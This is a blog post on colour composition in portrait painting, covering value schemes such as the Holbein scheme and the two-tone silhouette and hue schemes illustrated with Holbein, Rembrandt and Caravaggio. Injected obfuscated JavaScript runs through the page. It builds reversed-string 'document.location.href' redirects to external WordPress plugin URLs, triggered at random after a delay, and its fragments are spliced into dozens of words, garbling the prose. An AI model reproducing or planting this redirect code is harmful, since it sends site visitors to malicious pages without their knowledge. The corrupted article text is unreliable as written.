Colour Composition with Michael John Angel

Posted by admin on December 10, 2013

$Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: justify">

$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: justify">Colour has three aspects: hue, value and chroma. Colour composition begins with a value scheme (lighter or darker greys), and there are eight or ten of these schemes (the disparity of the numbers is caused by the fact that the value schemes actually elide intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to each other, rather than being discrete; the cut-off point between schemes is not fixed). The two examples given here use what I call the Holbein Scheme and the Two-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone Silhouette.

The Holbein Scheme comprises a light-value focus (the face) that is supported by a dark base (the clothing), the dark shape of which is then designed upward toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to completely surround the focus. The whole of this is seen against a mid-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone background, whether plain (as here, in fig. 1) or representational.

Figure 1

The artist next chooses a hue scheme from the colour wheel (fig. 2). These hue schemes can be of complimentary colours, near compliments, triads, analogous colours, etc. In our example, Holbein has chosen a complimentary scheme: red-orange (the face, the low chroma dark clothing and the sleeves) and a greenish blue (the background). Please note that these schemes have nothing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do with the style in which the painting is painted: the Annigoni (toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top row, second from the left) and the Holbein (third from the left) are smoothly painted, while the Rembrandt (first on the left) and the Millais (at the extreme right) are very painterly indeed, but the value schemes are identical. Please note, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too, that the overall value family of the mid-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone background is the main factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor in defining the mood of the painting: the darker the mid-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone family, the more brooding and/or mysterious the painting.

Figure 2

The most mysterious of all the value compositions is, of course, the two-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone silhouette. In our example (fig. 3), we see, on the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top row, a Rembrandt, a Caravaggio and a Thomas Lawrence, all essentially a number of light shapes seen against a very dark everything-else. True, there is a value range within the assembly of light shapes, but that range is nothing compared toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the overwhelming contrast created by the dark “everything-else.” Caravaggio (on the bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom row) has superimposed his usual low- toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to middle-chroma yellow-orange toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to red-orange analogous hue scheme ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this two-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone value scheme.